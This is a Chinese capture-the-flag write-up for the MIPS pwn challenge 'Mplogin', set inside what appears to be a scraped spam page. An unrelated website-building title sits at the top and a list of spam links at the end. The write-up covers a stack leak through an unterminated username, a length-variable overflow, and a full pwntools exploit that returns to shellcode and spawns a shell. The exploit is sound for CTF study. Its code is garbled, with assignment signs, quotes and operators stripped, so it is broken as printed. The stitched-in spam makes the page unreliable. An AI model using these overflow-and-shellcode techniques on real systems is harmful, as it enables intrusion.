当前位置: 首页 > news >正文

在线网站建设哪家好重庆网站制作的网站

在线网站建设哪家好,重庆网站制作的网站,第三方网站建设,桂林八桂网解题所涉知识点#xff1a; 泄露或修改内存数据#xff1a; 堆地址#xff1a;栈地址#xff1a;栈上数据的连带输出(Stack Leak) Stack溢出覆盖内存libc地址#xff1a;BSS段地址#xff1a; 劫持程序执行流程#xff1a;[[MIPS_ROP]] 获得shell或flag 泄露或修改内存数据 堆地址栈地址栈上数据的连带输出(Stack Leak) Stack溢出覆盖内存libc地址BSS段地址 劫持程序执行流程[[MIPS_ROP]] 获得shell或flagMIPS_Shellcode 题目类型 MIPS_Pwn 相关知识点 strncmp的利用 MIPS 与 x86 函数栈帧的开辟和恢复对比 信息收集总结 题目信息 ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin] └─$ file Mplogin Mplogin: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin] └─$ checksec --fileMplogin RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH No Symbols No 0 3Mplogin libc版本 wp借鉴HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io) mips pwn入门指北 | waddle’s blog (mikokuma.github.io) 异构 Pwn 之 Mips32 | 狼目安全 (lmboke.com) MIPS PWN 入门 – itewqq’s blog MIPS PWN学习 - 先知社区 (aliyun.com) 程序运行回馈 ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin] └─$ qemu-mipsel -L ./ Mplogin -----we1c0me t0 MP l0g1n s7stem----- Username : 123456 ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin] └─$ tree -N -L 2 . ├── lib │   ├── ld-uClibc.so.0 │   └── libc.so.0 └── Mplogin2 directories, 3 files ┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/Mplogin] └─$ qemu-mipsel -L ./ Mplogin | hexdump -C 00000000 1b 5b 33 33 6d 2d 2d 2d 2d 2d 77 65 31 63 30 6d |.[33m-----we1c0m| 00000010 65 20 74 30 20 4d 50 20 6c 30 67 31 6e 20 73 37 |e t0 MP l0g1n s7| 00000020 73 74 65 6d 2d 2d 2d 2d 2d 0a 1b 5b 33 34 6d 55 |stem-----..[34mU| adminaaaaaaaaaaaaaaaaaa 00000030 73 65 72 6e 61 6d 65 20 3a 20 43 6f 72 72 65 63 |sername : Correc| 00000040 74 20 6e 61 6d 65 20 3a 20 61 64 6d 69 6e 61 61 |t name : adminaa| 00000050 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 |aaaaaaaaaaaaaaaa| 00000060 0a b0 ae 2a 2b 90 0b 40 1b 5b 33 31 6d 50 72 65 |...*...[31mPre| accessaaaaaaaaaaaaaaa 00000070 5f 50 61 73 73 77 6f 72 64 20 3a 20 50 61 73 73 |_Password : Pass| 012345678911111111111111111111111111111 qemu: uncaught target signal 10 (Bus error) - core dumped 00000080 77 6f 72 64 20 3a 20 43 6f 72 72 65 63 74 20 70 |word : Correct p| 00000090 61 73 73 77 6f 72 64 20 3a 20 2a 2a 2a 2a 2a 2a |assword : ******| 000000a0 2a 2a 2a 2a 0a |****.| 000000a5 zsh: bus error qemu-mipsel -L ./ Mplogin | zsh: done hexdump -C 核心伪代码分析 存在利用的的代码 int __cdecl main(int argc, const char **argv, const char **envp) {int v3; // $a2int len; // [sp18h] [18h]setbuf(stdin, 0, envp);setbuf(stdout, 0, v3);printf(\x1B[33m);puts(-----we1c0me t0 MP l0g1n s7stem-----);len checkuser();checkpassword(len);printf(\x1B[32m);return puts(Now you getshell~); }int checkuser() {char user[24]; // [sp18h] [18h] BYREFmemset(user, 0, sizeof(user));printf(\x1B[34m);printf(Username : );read(0, user, 24);if ( strncmp(user, admin, 5) )exit(0);printf(Correct name : %s, user);return strlen(user); }由于没有处理输入结尾并可以填满栈上的缓冲区导致再次打印时栈上的数据会被泄露! 成功泄漏出栈上地址! int __fastcall sub_400978(int len) {char buf[20]; // [sp18h] [18h] BYREFint len1; // [sp2Ch] [2Ch]char pass[36]; // [sp3Ch] [3Ch] BYREFlen1 len 4;printf(\x1B[31m);printf(Pre_Password : );read(0, buf, 36);printf(Password : );read(0, pass, len1);if ( strncmp(buf, access, 6) || strncmp(pass, 0123456789, 10) )exit(0);return puts(Correct password : **********); }这个函数首先可以输入溢出覆盖v3这个变量再次输入时由v3变量控制长度导致栈溢出 MIPS 的开辟和恢复栈帧: .text:00400A2C 03 C0 E8 25 move $sp, $fp # 将帧指针 $fp 的值恢复到栈指针 $sp撤销函数调用时对栈的修改恢复函数调用前的栈状态。.text:00400A30 8F BF 00 7C lw $ra, 0x58var_s24($sp) # 从栈中偏移 0x7C 的位置恢复返回地址寄存器 $ra这个值是在函数进入时保存的用于返回到调用函数。.text:00400A34 8F BE 00 78 lw $fp, 0x58var_s20($sp) # 从栈中偏移 0x78 的位置恢复帧指针 $fp这个值是函数调用之前的帧指针恢复之前的栈帧结构。.text:00400A38 8F B7 00 74 lw $s7, 0x58var_s1C($sp) # 从栈中偏移 0x74 的位置恢复保存的寄存器 $s7 的值。.text:00400A3C 8F B6 00 70 lw $s6, 0x58var_s18($sp) # 从栈中偏移 0x70 的位置恢复保存的寄存器 $s6 的值。.text:00400A40 8F B5 00 6C lw $s5, 0x58var_s14($sp) # 从栈中偏移 0x6C 的位置恢复保存的寄存器 $s5 的值。.text:00400A44 8F B4 00 68 lw $s4, 0x58var_s10($sp) # 从栈中偏移 0x68 的位置恢复保存的寄存器 $s4 的值。.text:00400A48 8F B3 00 64 lw $s3, 0x58var_sC($sp) # 从栈中偏移 0x64 的位置恢复保存的寄存器 $s3 的值。.text:00400A4C 8F B2 00 60 lw $s2, 0x58var_s8($sp) # 从栈中偏移 0x60 的位置恢复保存的寄存器 $s2 的值。.text:00400A50 8F B1 00 5C lw $s1, 0x58var_s4($sp) # 从栈中偏移 0x5C 的位置恢复保存的寄存器 $s1 的值。.text:00400A54 8F B0 00 58 lw $s0, 0x58var_s0($sp) # 从栈中偏移 0x58 的位置恢复保存的寄存器 $s0 的值。.........text:00400A58 27 BD 00 80 addiu $sp, $sp, 0x80 # 恢复栈指针 $sp撤销函数调用时分配的栈空间即加回 0x80 字节。.text:00400A5C 03 E0 00 08 jr $ra # 跳转到 $ra 保存的返回地址结束当前函数并返回到调用函数。.text:00400A60 00 00 00 00 nop # 无操作NOP这是一个占位指令通常用来避免延迟槽问题。 发现栈地址是可以执行可读写的: 攻击思路总结 在输入user时候,输入admin时候就可以通过验证,由于字符串对比是使用strncmp函数对比所以可以通过输入超过adminaaaaaa既可以验证成功又可以连带输出栈上的地址,获得栈上地址后!就可以劫持返回地址并且再栈上写入shellocde这样就可以成功执行了 脚本 import argparse from pwn import * from LibcSearcher import *# Parse command-line arguments parser argparse.ArgumentParser(descriptionExploit script.) parser.add_argument(-r, actionstore_true, helpRun exploit remotely.) parser.add_argument(-d, actionstore_true, helpRun exploit in debug mode.) args parser.parse_args()pwnfile ./Mplogin elf ELF(pwnfile) context(log_leveldebug, archelf.arch, oslinux)is_remote args.r is_debug args.dif is_remote:sh remote(node5.buuoj.cn, 26456) else:if is_debug:sh process([qemu-mipsel, -L, ./, -g, 1234, pwnfile])else:sh process([qemu-mipsel, -L, ./, pwnfile])def mygdb():if not is_remote and is_debug:gdb.attach(sh, target remote localhost:1234b *0x4008C8) # brva 0xe93 mygdb() # leak stack(old fp) sh.sendafter(name : ,admin.ljust(0x18,a)) sh.recvuntil(Correct name : ); sh.recv(0x18) stack u32(sh.recv(4))# stack overflow sh.sendafter(Pre_Password : ,baccess.ljust(0x14,b2)p32(0x100)) sh.sendafter(Password : ,b0123456789.ljust(0x28,b2)p32(stack)asm(shellcraft.sh()))sh.interactive()
http://www.w-s-a.com/news/936625/

相关文章:

  • 南宁自己的网站移动互联网技术学什么
  • 2017湖北建设教育协会网站自己接单做网站
  • 定制网站建设制作h5网站要多久
  • 泰安中呼网站建设有限公司 概况个人网站的设计与实现参考文献
  • 圣诞节网站怎么做怎么获取网站的图片
  • 想找个人做网站音乐网站建设教程视频教程
  • 网站收录一键提交阿里巴巴做网站多少钱
  • 怎么做网站投放广告商务网站建设实训报告
  • 服装代销的网站源码国内电子商务网站有哪些
  • qq空间怎么做网站做企业平台的网站有哪些
  • 网站的优缺点wordpress手机适配模板中文
  • 福州网站建设H5广告公司简介简短
  • 网站404页面的作用app开发郑州
  • 亚马逊中国网站建设目标网站建设的策划
  • 林州网站建设服务徐州网站建设
  • 如何检测网站死链景德镇网站建设哪家好
  • 旅游网站开发目标天津专业做网站公司
  • 名者观看网站快手小程序
  • 网络架构扁平化windows优化大师好不好
  • 安康养老院收费价格表兰州seo整站优化服务商
  • 网站开发技术方案模板无锡网站建设推荐
  • 自助建站系统注册三维家3d设计软件免费
  • 做seo网站标题重要吗郑州众诚建设监理有限公司网站
  • 建设网站南沙区百度关键词推广怎么做
  • 网站建设公司做销售前景好不好石家庄外贸网站制作
  • windows2008做网站网站首页打开速度
  • 做外贸要做什么网站服装设计图
  • 中山市路桥建设有限公司网站网站开发角色分配权限
  • 加强档案网站建设网站搭建好了不用会不会被攻击
  • 维护网站信息网络建设服务